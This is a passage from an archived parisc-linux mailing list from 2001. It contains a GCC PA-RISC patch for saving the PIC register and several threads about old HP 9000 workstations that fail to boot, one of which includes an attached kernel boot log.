Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619555 10611 80.91.229.3 (22 Nov 2014 01:25:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:55 +0000 (UTC)
Cc: alan@linuxcare.com.au, rth@redhat.com, gcc-patches@gcc.gnu.org,
        parisc-linux@puffin.external.hp.com
To: law@redhat.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Jan 17 23:00:47 2001
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA02861
	for <parisc-linux@puffin.external.hp.com>; Wed, 17 Jan 2001 23:00:46 -0700
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id BAA18964;
	Thu, 18 Jan 2001 01:04:09 -0500 (EST)
In-Reply-To: <25409.979767732@upchuck.cygnus.com> from "Jeffrey A Law" at Jan 17, 2001 02:42:12 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9272

>   In message <200101171622.LAA13215@hiauly1.hia.nrc.ca>you write:
>   > I think all these problems can be resolved by emitting the insn at the
>   > first call.  We just have to keep track of whether it has been emitted
>   > or not.
> I'm not entirely sure what you mean by this.
> 
> We must emit the code to restore the PIC register after each call when
> generating PIC code.  There are no known exceptions to this rule.
> 
> You might be talking about saving the PIC register into the stack or
> pseudo during the prologue.  Yes, we could arrange to do that if and
> only if we had a call in PIC mode.  That's fairly easy to do.

I think this will make what I was saying clearer.  This doesn't suffer
from the problem that the original implementation had because it doesn't
use a global variable.  Bootstrap is now in the latter part of stage 2.
I looked at the assembly code generated for a function with one call
and it seemed fine.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

2001-01-17  John David Anglin  <dave@hiauly1.hia.nrc.ca>

	* pa.c (pa_init_machine_status): Initialize
	p->machine->pic_offset_table_reg_saved.
	(hppa_expand_prologue): Remove code to save pic offset table register.
	* pa.h (machine_function): Add member pic_offset_table_reg_saved.
	(PIC_OFFSET_TABLE_SAVE_RTX): Correct typo in comment.
	(PIC_OFFSET_TABLE_REG_SAVED): Define.
	(EPILOGUE_USES): Define to keep the pic offset table register live.
	* pa.md (call, call_value): Add code to save the pic offset table
	register when necessary.

--- pa.c.orig	Wed Jan 17 01:46:52 2001
+++ pa.c	Wed Jan 17 19:09:38 2001
@@ -207,6 +207,7 @@
   p->machine = (machine_function *) xmalloc (sizeof (machine_function));
 
   p->machine->pic_offset_table_save_rtx = gen_reg_rtx (Pmode);
+  p->machine->pic_offset_table_reg_saved = 0;
 }
 
 static void
@@ -3186,25 +3187,6 @@
 	    }
 	}
     }
-
-  /* When generating PIC code it is necessary to save/restore the
-     PIC register around each function call.  We used to do this
-     in the call patterns themselves, but that implementation
-     made incorrect assumptions about using global variables to hold
-     per-function rtl code generated in the backend.
-
-     So instead, we copy the PIC register into a callee saved register
-     in the prologue.  Then after each call we reload the PIC register
-     from the callee saved register.
-
-     Avoid doing this if the register isn't used (eg. leaf functions)
-     as it's an error to delete an instruction from the prologue.  */
-
-  if (flag_pic
-      && (GET_CODE (PIC_OFFSET_TABLE_SAVE_RTX) != REG
-	  || HARD_REGISTER_P (PIC_OFFSET_TABLE_SAVE_RTX)))
-    emit_move_insn (PIC_OFFSET_TABLE_SAVE_RTX,
-		    gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM));
 }
 
 
--- pa.h.orig	Wed Jan 17 18:52:09 2001
+++ pa.h	Wed Jan 17 19:05:02 2001
@@ -76,6 +76,7 @@
 typedef struct machine_function
 {
   struct rtx_def *pic_offset_table_save_rtx;
+  int pic_offset_table_reg_saved;
 } machine_function;
 
 /* For -march= option.  */
@@ -500,10 +501,14 @@
 #define PIC_OFFSET_TABLE_REGNUM (TARGET_64BIT ? 27 : 19)
 #define PIC_OFFSET_TABLE_REG_CALL_CLOBBERED 1
 
-/* Register into which we save the PIC_OFFEST_TABLE_REGNUM so that it
+/* Register into which we save the PIC_OFFSET_TABLE_REGNUM so that it
    can be restored across function calls.  */
 #define PIC_OFFSET_TABLE_SAVE_RTX (cfun->machine->pic_offset_table_save_rtx)
 
+/* Flag to indicate whether the pic offset table register has been saved
+   in a function.  */
+#define PIC_OFFSET_TABLE_REG_SAVED (cfun->machine->pic_offset_table_reg_saved)
+
 #define DEFAULT_PCC_STRUCT_RETURN 0
 
 /* SOM ABI says that objects larger than 64 bits are returned in memory.
@@ -918,6 +923,12 @@
 #define FUNCTION_EPILOGUE(FILE, SIZE)			\
   output_function_epilogue (FILE, SIZE)
 
+/* Define this macro as a C expression that is nonzero for registers
+   used by the epilogue or the `return' pattern.  */
+
+#define EPILOGUE_USES(REGNO) \
+  ((REGNO) == 2 || (flag_pic && (REGNO) == PIC_OFFSET_TABLE_REGNUM))
+
 /* Output assembler code for a block containing the constant parts
    of a trampoline, leaving space for the variable parts.\
 
--- pa.md.orig	Wed Jan 17 01:46:53 2001
+++ pa.md	Wed Jan 17 19:31:57 2001
@@ -5712,6 +5712,13 @@
 		    gen_rtx_PLUS (word_mode, virtual_outgoing_args_rtx,
 				  GEN_INT (64)));
 
+  if (flag_pic && ! PIC_OFFSET_TABLE_REG_SAVED)
+    {
+      emit_move_insn (PIC_OFFSET_TABLE_SAVE_RTX,
+		      gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM));
+      PIC_OFFSET_TABLE_REG_SAVED = 1;
+    }
+
   /* Use two different patterns for calls to explicitly named functions
      and calls through function pointers.  This is necessary as these two
      types of calls use different calling conventions, and CSE might try
@@ -5882,6 +5889,13 @@
 		    gen_rtx_PLUS (word_mode, virtual_outgoing_args_rtx,
 				  GEN_INT (64)));
 
+  if (flag_pic && ! PIC_OFFSET_TABLE_REG_SAVED)
+    {
+      emit_move_insn (PIC_OFFSET_TABLE_SAVE_RTX,
+		      gen_rtx_REG (word_mode, PIC_OFFSET_TABLE_REGNUM));
+      PIC_OFFSET_TABLE_REG_SAVED = 1;
+    }
+
   /* Use two different patterns for calls to explicitly named functions
      and calls through function pointers.  This is necessary as these two
      types of calls use different calling conventions, and CSE might try


From - Thu Nov 08 21:15:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "arete@libero.it"<arete@libero.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] No booting 715 old
Date: Thu, 18 Jan 2001 14:21:33 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <G7D13X$IWdMk3UWppTTFaurPylOrikzjQAW9PMmvU2uFHUGD@libero.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619555 10613 80.91.229.3 (22 Nov 2014 01:25:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:55 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: arete@libero.it  Thu Jan 18 06:18:40 2001
Original-Received: from smtp1.libero.it (smtp1.libero.it [193.70.192.51])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id GAA07805
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 06:18:39 -0700
Original-Received: from libero.it (193.70.192.63) by smtp1.libero.it (5.5.015.5)
        id 3A5C4F910052E949 for parisc-linux@puffin.external.hp.com; Thu, 18 Jan 2001 14:22:17 +0100
X-XaM3-API-Version: 1.1.9.1.31
X-SenderIP: 192.84.156.82
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id GAA07805
Xref: news.gmane.org gmane.linux.ports.parisc:9273

I have an 715/50 , with PDC rom 1.3 and IODC rom 1.1
i use the palinux-0.5.iso image
  and recive this messages


.....

IASQ:00000000 IAOQ:c01c5280 c015280
IIR:c840c00 ISR: 00000000 IOR:c02773f0
ORIG_R28:00000000





From - Thu Nov 08 21:15:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Buttafuoco" <jim@tylerdrive.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trouble booting a 710 (bushmaster)
Date: Thu, 18 Jan 2001 10:17:24 -0500 (EST)
Lines: 133
Approved: news@gmane.org
Message-ID: <200101181517.f0IFHOs08538@openbsd1.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=NEOMAIL_ATT_0.399137031826289"
X-Trace: ger.gmane.org 1416619556 10616 80.91.229.3 (22 Nov 2014 01:25:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:56 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jim@tylerdrive.org  Thu Jan 18 08:13:42 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA08862
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 08:13:41 -0700
Original-Received: (qmail 7635 invoked by uid 15267); 18 Jan 2001 15:17:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7600 invoked from network); 18 Jan 2001 15:17:25 -0000
Original-Received: from 3ff839a7.dsl.flashcom.net (HELO openbsd1.buttafuoco.net) (63.248.57.167)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 15:17:25 -0000
Original-Received: (from www@localhost)
	by openbsd1.buttafuoco.net (8.10.1/8.10.1) id f0IFHOs08538;
	Thu, 18 Jan 2001 10:17:24 -0500 (EST)
X-Mailer: NeoMail 1.21
X-IPAddress: 192.1.3.2
Xref: news.gmane.org gmane.linux.ports.parisc:9274

This is a multi-part message in MIME format.

------=NEOMAIL_ATT_0.399137031826289
Content-Type: text/plain; charset=iso-8859-1

Hi,

I have been trying to get my 2 9000/710's to boot for a couple of months
now.  Attached is the latest log file from my boot. 

The 2 problems that I see are the ramdisk is NOT seen and the BOOTP
fails.  I have used TCPDUMP to look at the packets coming and going from
the system.  All I see is the RBOOTP stuff.  The ramdisk is valid as far
as I can tell. (I mounted it via the loop fs).  Should it be compressed
with ZIP???.

The kernel/palo source is the latest as of 1/17/01.  

Any help is welcome....

Thanks
Jim



------=NEOMAIL_ATT_0.399137031826289
Content-Type: application/octet-stream;
	name="hpboot.log"
Content-Transfer-Encoding: base64

KGMpIENvcHlyaWdodC4gIEhld2xldHQtUGFja2FyZCBDb21wYW55LiAgMTk5MS4KQWxsIHJpZ2h0
cyByZXNlcnZlZC4KClBEQyBST00gcmV2LiAyLjAKSU9EQyBST00gcmV2LiAyLjAKMzIgTUIgb2Yg
bWVtb3J5IGNvbmZpZ3VyZWQgYW5kIHRlc3RlZC4KCgpTZWxlY3RpbmcgYSBzeXN0ZW0gdG8gYm9v
dC4KVG8gc3RvcCBzZWxlY3Rpb24gcHJvY2VzcywgcHJlc3MgYW5kIGhvbGQgdGhlIEVTQ0FQRSBr
ZXkuCgpCb290aW5nIGZyb206ICAgICBsYW4uMDAwMGY4LTA1ZmU3ZS4zLjYgICAgIHAyCgpIYXJk
IGJvb3RlZC4KcGFsbyBpcGwgamltQHAyLmJ1dHRhZnVvY28ubmV0IFRodSBKYW4gMTggMDk6NDc6
MzggRVNUIDIwMDEKMC92bWxpbnV4IDIxNDM2MDQgYnl0ZXMgQCAweDY4MDAKMC9wYWxvLWNtZGxp
bmUgJzAvdm1saW51eCBIT01FPS8gVEVSTT1saW51eCByb290PS9kZXYvcmFtIGluaXRyZD0wL3Jh
bWRpc2sgY29uc29sZT10dHlTMCcKMC9yYW1kaXNrIDE1NDQxMTYgYnl0ZXMgQCAweDIxMWQ3NApL
ZXJuZWw6IHBhcnRpdGlvbiAwIGZpbGUgL3ZtbGludXgKUmFtZGlzazogcGFydGl0aW9uIDAgZmls
ZSAvcmFtZGlzawpFTEYzMiBleGVjdXRhYmxlCgpFbnRyeSAwMDEwMDE4OCBmaXJzdCAwMDEwMDAw
MCBuIDQKU2VnbWVudCAwIGxvYWQgMDAxMDAwMDAgc2l6ZSAxNDM3MTA4IG1lZGlhcHRyIDB4MTAw
MApTZWdtZW50IDEgbG9hZCAwMDI2MDAwMCBzaXplIDI5NTg5NiBtZWRpYXB0ciAweDE2MDAwMApT
ZWdtZW50IDIgbG9hZCAwMDJhYzAwMCBzaXplIDgxOTIgbWVkaWFwdHIgMHgxYTkwMDAKU2VnbWVu
dCAzIGxvYWQgMDAyZDcwYzQgc2l6ZSA0ODAgbWVkaWFwdHIgMHgxYWIwYzQKTG9hZGluZyByYW1k
aXNrIDE1NDQxMTYgYnl0ZXMgQCAwMDUxYzAwMC4uLgpicmFuY2hpbmcgdG8ga2VybmVsIGVudHJ5
IHBvaW50IDB4MDAxMDAxODgKUERDIENvbnNvbGUgSW5pdGlhbGl6ZWQKVGhlIDMyLWJpdCBLZXJu
ZWwgaGFzIHN0YXJ0ZWQuLi4KRW5hYmxlZCBGUCBjb3Byb2Nlc3NvcgpGcmVlIG1lbW9yeSBzdGFy
dHMgYXQ6IDB4YzAyZDgwMDAKc3RhcnRfcGFyaXNjKDB4NTA0ZDcwLDB4NTA0ZDcwLDB4NTFjMDAw
LDB4Njk0ZmI0KQpQQUxPIGNvbW1hbmQgbGluZTogJ0hPTUU9LyBURVJNPWxpbnV4IHJvb3Q9L2Rl
di9yYW0gY29uc29sZT10dHlTMCcKUEFMTyBpbml0cmQgNTFjMDAwLTY5NGZiNAptb2RlbCAgIDAw
MDAzMDAwIDAwMDAwNDgxIDAwMDAwMDAwIDAwMDAwMDAwIDc3ZWQ3MTUyIDAwMDAwMDAwIDAwMDAw
MDA0IDAwMDAwMDBkIDAwMDAwMDAwCnZlcnMgICAgMDAwMDAwMDMKQ1BVSUQgICB2ZXJzIDAgcmV2
IDAKbW9kZWwgICA5MDAwLzcxMApsZWRfaW5pdDogQ1BVX0hWRVJTSU9OIDMwMApTZWFyY2hpbmcg
Zm9yIGRldmljZXMgaW4gUERDIGZpcm13YXJlLi4uIHByb2Nlc3NvciBocGEgMHhmZmZiZTAwMAog
YW4gb2xkZXIgYm94Li4uCkZvdW5kIGRldmljZXM6CjEuIFN0aW5nZXIgT3B0aW9uYWwgR3JhcGhp
Y3MgKDEwKSBhdCAweGY0MDAwMDAwLCB2ZXJzaW9ucyAweDYsIDB4MCwgMHg3NywgMHgwLCAweDAK
Mi4gQnVzaG1hc3RlciBDb3JlIEJBICgxMSkgYXQgMHhmMDgyZjAwMCwgdmVyc2lvbnMgMHg2LCAw
eDAsIDB4NzAsIDB4MCwgMHgwCjMuIEJ1c2htYXN0ZXIgQ29yZSBTQ1NJICgxMCkgYXQgMHhmMDgy
NTAwMCwgdmVyc2lvbnMgMHg2LCAweDAsIDB4NzEsIDB4MCwgMHgwCjQuIEJ1c2htYXN0ZXIgQ29y
ZSBMQU4gKDgwMi4zKSAoMTApIGF0IDB4ZjA4MjYwMDAsIHZlcnNpb25zIDB4NiwgMHgwLCAweDcy
LCAweDAsIDB4MAo1LiBCdXNobWFzdGVyIENvcmUgSElMICgxMCkgYXQgMHhmMDgyMTAwMCwgdmVy
c2lvbnMgMHg2LCAweDAsIDB4NzMsIDB4MCwgMHgwCjYuIEJ1c2htYXN0ZXIgQ29yZSBSUy0yMzIg
KDEwKSBhdCAweGYwODIzMDAwLCB2ZXJzaW9ucyAweDYsIDB4MCwgMHg3NSwgMHgwLCAweDAKNy4g
QnVzaG1hc3RlciBDb3JlIFJTLTIzMiAoMTApIGF0IDB4ZjA4MjIwMDAsIHZlcnNpb25zIDB4Niwg
MHgwLCAweDc1LCAweDAsIDB4MAo4LiBCdXNobWFzdGVyIENvcmUgQ2VudHJvbmljcyAoMTApIGF0
IDB4ZjA4MjQwMDAsIHZlcnNpb25zIDB4NiwgMHgwLCAweDc0LCAweDAsIDB4MAo5LiBCdXNobWFz
dGVyIEF1ZGlvICgxMCkgYXQgMHhmMTAwMDAwMCwgdmVyc2lvbnMgMHg2LCAweDAsIDB4N2EsIDB4
MCwgMHgwCjEwLiBCdXNobWFzdGVyICg3MTApICgwKSBhdCAweGZmZmJlMDAwLCB2ZXJzaW9ucyAw
eDMwMCwgMHgwLCAweDQsIDB4MCwgMHg4MQoxMS4gQnVzaG1hc3RlciAoMSkgYXQgMHhmZmZiZjAw
MCwgdmVyc2lvbnMgMHgxNiwgMHgwLCAweDksIDB4MCwgMHgwClRoYXQncyBhIHRvdGFsIG9mIDEx
IGRldmljZXMuCkNQVShzKTogMSB4IFBBNzAwMCAoUENYLVMpIGF0IDUwLjAwMDAwMCBNSHoKTGlu
dXggdmVyc2lvbiAyLjQuMC10ZXN0MTAgKGppbUBwMi5idXR0YWZ1b2NvLm5ldCkgKGdjYyB2ZXJz
aW9uIDIuOTYgMjAwMDA5MjUgKGV4cGVyaW1lbnRhbCkpICMxIFRodSBKYW4gMTggMDk6MzQ6MjAg
RVNUIDIwMDEKZnJlZV9ib290bWVtKDB4MmQ4NDAwLCAweDFkMjdjMDApCmluaXRyZDogYzA1MWMw
MDAtYzA2OTRmYjQKcGFnZXRhYmxlX2luaXQKT24gbm9kZSAwIHRvdGFscGFnZXM6IDgxOTIKem9u
ZSgwKTogNDA5NiBwYWdlcy4Kem9uZSgxKTogNDA5NiBwYWdlcy4Kem9uZSgyKTogMCBwYWdlcy4K
S2VybmVsIGNvbW1hbmQgbGluZTogSE9NRT0vIFRFUk09bGludXggcm9vdD0vZGV2L3JhbSBjb25z
b2xlPXR0eVMwCnRyYXBfaW5pdApFcnJvciByZWFkaW5nIHRvZCBjbG9jawpDYWxpYnJhdGluZyBk
ZWxheSBsb29wLi4uIDQ5Ljc3IEJvZ29NSVBTCk1lbW9yeTogMjc3NjRrIGF2YWlsYWJsZQpEZW50
cnktY2FjaGUgaGFzaCB0YWJsZSBlbnRyaWVzOiA0MDk2IChvcmRlcjogMywgMzI3NjggYnl0ZXMp
CkJ1ZmZlci1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDEwMjQgKG9yZGVyOiAwLCA0MDk2IGJ5
dGVzKQpQYWdlLWNhY2hlIGhhc2ggdGFibGUgZW50cmllczogODE5MiAob3JkZXI6IDMsIDMyNzY4
IGJ5dGVzKQpJbm9kZS1jYWNoZSBoYXNoIHRhYmxlIGVudHJpZXM6IDIwNDggKG9yZGVyOiAyLCAx
NjM4NCBieXRlcykKUE9TSVggY29uZm9ybWFuY2UgdGVzdGluZyBieSBVTklGSVgKQVNQIHZlcnNp
b24gMSBhdCAweGYwODAwMDAwIGZvdW5kLgpMRUQgKEFTUC1zdHlsZSkgZGlzcGxheSBhdCAwMDAw
MDAwMCByZWdpc3RlcmVkCkZvdW5kIGk4MjU5NiBhdCAweGYwODI2MDAwLCBJUlEgODcKZWFybHkg
aW5pdGlhbGl6YXRpb24gb2YgZGV2aWNlIGV0aDAgaXMgZGVmZXJyZWQKRm91bmQgSElMIGF0IDB4
ZjA4MjEwMDAsIElSUSA5NApISUw6IHRpbWVkIG91dCwgYXNzdW1pbmcgbm8ga2V5Ym9hcmQgcHJl
c2VudC4KV2FybmluZyA6IGRldmljZSAoMTAsIDB4NiwgMHgwLCAweDczLCAweDApIE5PVCBjbGFp
bWVkIGJ5IEhJTCA3MTIsIDcxNSBvciBzaW1pbGlhcgpzdXBlcmlvOiBQcm9iZQpDb3VsZCBub3Qg
ZmluZCBTdXBlcmlvIElERSAhCkNvdWxkIG5vdCBmaW5kIFN1cGVyaW8gVVNCIQpCYWghCkxpbnV4
IE5FVDQuMCBmb3IgTGludXggMi40CkJhc2VkIHVwb24gU3dhbnNlYSBVbml2ZXJzaXR5IENvbXB1
dGVyIFNvY2lldHkgTkVUMy4wMzkKU3RhcnRpbmcga3N3YXBkIHYxLjgKcHR5OiAyNTYgVW5peDk4
IHB0eXMgY29uZmlndXJlZApSQU1ESVNLIGRyaXZlciBpbml0aWFsaXplZDogMTYgUkFNIGRpc2tz
IG9mIDQwOTZLIHNpemUgMTAyNCBibG9ja3NpemUKODI1OTYuYzogTUFDIG9mIEhQNzAwIExBTiBi
bGluZGVseSByZWFkIGZyb20gdGhlIHByb20hCmV0aDA6IENvdWxkbid0IGdldCBjb25zaXN0ZW50
IHNoYXJlZCBtZW1vcnkKZXRoMDogODI1OTYgYXQgMHhmMDgyNjAwMCwgMDggMDAgMDkgMjUgREQg
N0IgSVJRIDg3Lgo4MjU5Ni5jICRSZXZpc2lvbjogMS4xNCAkClJBTURJU0s6IENvdWxkbid0IGZp
bmQgdmFsaWQgUkFNIGRpc2sgaW1hZ2Ugc3RhcnRpbmcgYXQgMC4KU2VyaWFsIGRyaXZlciB2ZXJz
aW9uIDUuMDIgKDIwMDAtMDgtMDkpIHdpdGggTUFOWV9QT1JUUyBTSEFSRV9JUlEgU0VSSUFMX1BD
SSBlbmFibGVkCnR0eVMwMCBhdCBpb21lbSAweGYwODIzODAwIChpcnEgPSA5MCkgaXMgYSAxNjU1
MEEKdHR5UzAxIGF0IGlvbWVtIDB4ZjA4MjI4MDAgKGlycSA9IDg5KSBpcyBhIDE2NTUwQQpHZW5l
cmljIFJUQyBEcml2ZXIgdjEuMDIgMDUvMjcvMTk5OSBTYW0gQ3JlYXNleSAoc2FtbXlAb2gudmVy
aW8uY29tKQpTQ1NJIHN1YnN5c3RlbSBkcml2ZXIgUmV2aXNpb246IDEuMDAKc2ltNzAwOiBDb3Vs
ZG4ndCBnZXQgY29uc2lzdGVudCBzaGFyZWQgbWVtb3J5CnNpbTcwMDogQ29uZmlndXJpbmcgNTNj
NzAwIChTQ1NJLUlEIDcpIGF0IGYwODI1MTAwLCBJUlEgODYKc2NzaTA6IFJldmlzaW9uIDB4MApQ
b3N0IHRlc3QxLCBpc3RhdCAwNSwgc3N0YXQwIDAwLCBkc3RhdCA4MQpzaW03MDA6IFdBUk5JTkcg
SVJRIHByb2JlIGZhaWxlZCwgKHJldHVybmVkIDApCnNjc2kwOiB0ZXN0IDEgRkFJTEVEOiBkc3Bz
OiBleHAgMHhhYjkzMDAxZCwgZ290IDB4MDAwMDAwMDAKc2NzaTA6IENoaXAgcmVnaXN0ZXIgY29u
dGVudHM6CiAoc2NyaXB0WzBdIGF0IHZpcnQgYzFmYjAwMDAsIGJ1cyAxZmIwMDAwKQogMDAgIHNp
ZW46ICBhZiAgc2RpZDogIDAwICBzY250bDE6MjAgIHNjbnRsMDpjNAogMDQgIHNvY2w6ICAwMCAg
c29kbDogIDAwICBzeGZlcjogMDAgIHNjaWQ6ICA4MAogMDggIHNiY2w6ICAwMCAgc2JkbDogIDAw
ICBzaWRsOiAgMDAgIHNmYnI6ICAwMAogMEMgIHNzdGF0MjowMCAgc3N0YXQxOjAwICBzc3RhdDA6
MDAgIGRzdGF0OiA4MAogMTAKIDE0ICBjdGVzdDM6ODEgIGN0ZXN0MjoyMSAgY3Rlc3QxOmYwICBj
dGVzdDA6MDAKIDE4ICBjdGVzdDc6MDAgIGN0ZXN0Njo4MiAgY3Rlc3Q1OjAwICBjdGVzdDQ6MDAK
IDFDICB0ZW1wOiAgMDAwMDAwMDAKIDIwICAgICAgICAgICAgICBjdGVzdDg6ZmYgIGlzdGF0OiAw
NiAgZGZpZm86IDAwCiAyNCAgZGJjOiAgIDAwMDAwMDAwICBkbmFkOiAgMDAwMDAwMDAgIGRzcDog
ICAwMWZiNzRiNAogMzAgIGRzcHM6ICAwMDAwMDAwMAogMzQgIGRtb2RlOiA4MAogMzggIGRjbnRs
OiA4MCAgZHd0OiAgIDAwICBkaWVuOiAgMWQKIDNDCldhcm5pbmcgOiBkZXZpY2UgKDEwLCAweDYs
IDB4MCwgMHg3MSwgMHgwKSBOT1QgY2xhaW1lZCBieSBMYXNpIFNDU0kgNTNjNzAwCk5FVDQ6IExp
bnV4IFRDUC9JUCAxLjAgZm9yIE5FVDQuMApJUCBQcm90b2NvbHM6IElDTVAsIFVEUCwgVENQCklQ
OiByb3V0aW5nIGNhY2hlIGhhc2ggdGFibGUgb2YgNTEyIGJ1Y2tldHMsIDRLYnl0ZXMKVENQOiBI
YXNoIHRhYmxlcyBjb25maWd1cmVkIChlc3RhYmxpc2hlZCAyMDQ4IGJpbmQgMjA0OCkKU2VuZGlu
ZyBCT09UUCByZXF1ZXN0cy4uLi4uLi4uLi4uLi4gdGltZWQgb3V0IQpJUC1Db25maWc6IEF1dG8t
Y29uZmlndXJhdGlvbiBvZiBuZXR3b3JrIGZhaWxlZC4KVHJ5aW5nIHRvIGZyZWUgbm9uZXhpc3Rl
bnQgcmVzb3VyY2UgPGYwODI2MDAwLWYwODI2MDBiPgpORVQ0OiBVbml4IGRvbWFpbiBzb2NrZXRz
IDEuMC9TTVAgZm9yIExpbnV4IE5FVDQuMC4Ka21lbV9jcmVhdGU6IEZvcmNpbmcgc2l6ZSB3b3Jk
IGFsaWdubWVudCAtIG5mc19maApLZXJuZWwgcGFuaWM6IFZGUzogVW5hYmxlIHRvIG1vdW50IHJv
b3QgZnMgb24gMDE6MDAK

------=NEOMAIL_ATT_0.399137031826289--


From - Thu Nov 08 21:15:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting a 710 (bushmaster)
Date: Thu, 18 Jan 2001 10:54:35 -0700
Lines: 44
Approved: news@gmane.org
Message-ID: <m14JJGi-001Vp3C@chalet>
References: <200101181517.f0IFHOs08538@openbsd1.buttafuoco.net>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619556 10618 80.91.229.3 (22 Nov 2014 01:25:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Jim Buttafuoco" <jim@tylerdrive.org>
Original-X-From: bame@bame.riverrock.org  Thu Jan 18 10:51:19 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA10550
	for <parisc-linux@puffin.external.hp.com>; Thu, 18 Jan 2001 10:51:19 -0700
Original-Received: (qmail 26262 invoked by uid 15267); 18 Jan 2001 17:55:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26200 invoked from network); 18 Jan 2001 17:55:03 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2001 17:55:03 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp
	id <m14JJGi-001Vp3C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Thu, 18 Jan 2001 10:54:40 -0700 (MST) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Thu, 18 Jan 2001 10:17:24 EST."
             <200101181517.f0IFHOs08538@openbsd1.buttafuoco.net>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:9275

= Hi,
= 
= I have been trying to get my 2 9000/710's to boot for a couple of months
= now.  Attached is the latest log file from my boot. 
= 
= The 2 problems that I see are the ramdisk is NOT seen and the BOOTP
= fails.  I have used TCPDUMP to look at the packets coming and going from
= the system.  All I see is the RBOOTP stuff.  The ramdisk is valid as far
= as I can tell. (I mounted it via the loop fs).  Should it be compressed
= with ZIP???.
= 
= The kernel/palo source is the latest as of 1/17/01.  

= Loading ramdisk 1544116 bytes @ 0051c000...
= [...]

Looks like you're using a compressed ramdisk.  That should work, but
it's worth trying an uncompressed one.

= RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
= 82596.c: MAC of HP700 LAN blindely read from the prom!
= eth0: Couldn't get consistent shared memory
= eth0: 82596 at 0xf0826000, 08 00 09 25 DD 7B IRQ 87.
= 82596.c $Revision: 1.14 $
= RAMDISK: Couldn't find valid RAM disk image starting at 0.

Yeah, try an uncompressed ramdisk.  EXT2

= [...]
= NET4: Linux TCP/IP 1.0 for NET4.0
= IP Protocols: ICMP, UDP, TCP
= IP: routing cache hash table of 512 buckets, 4Kbytes
= TCP: Hash tables configured (established 2048 bind 2048)
= Sending BOOTP requests............. timed out!
= IP-Config: Auto-configuration of network failed.
= Trying to free nonexistent resource <f0826000-f082600b>
= NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
= kmem_create: Forcing size word alignment - nfs_fh
= Kernel panic: VFS: Unable to mount root fs on 01:00

No clue about your bootp problem...

	-P


From - Thu Nov 08 21:15:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Buttafuoco" <jim@tylerdrive.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble booting a 710 (bushmaster)
Date: Thu, 18 Jan 2001 13:12:50 -0500 (EST)
Lines: 71
Approved: news@gmane.org
Message-ID: <200101181812.f0IICoF19246@openbsd1.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
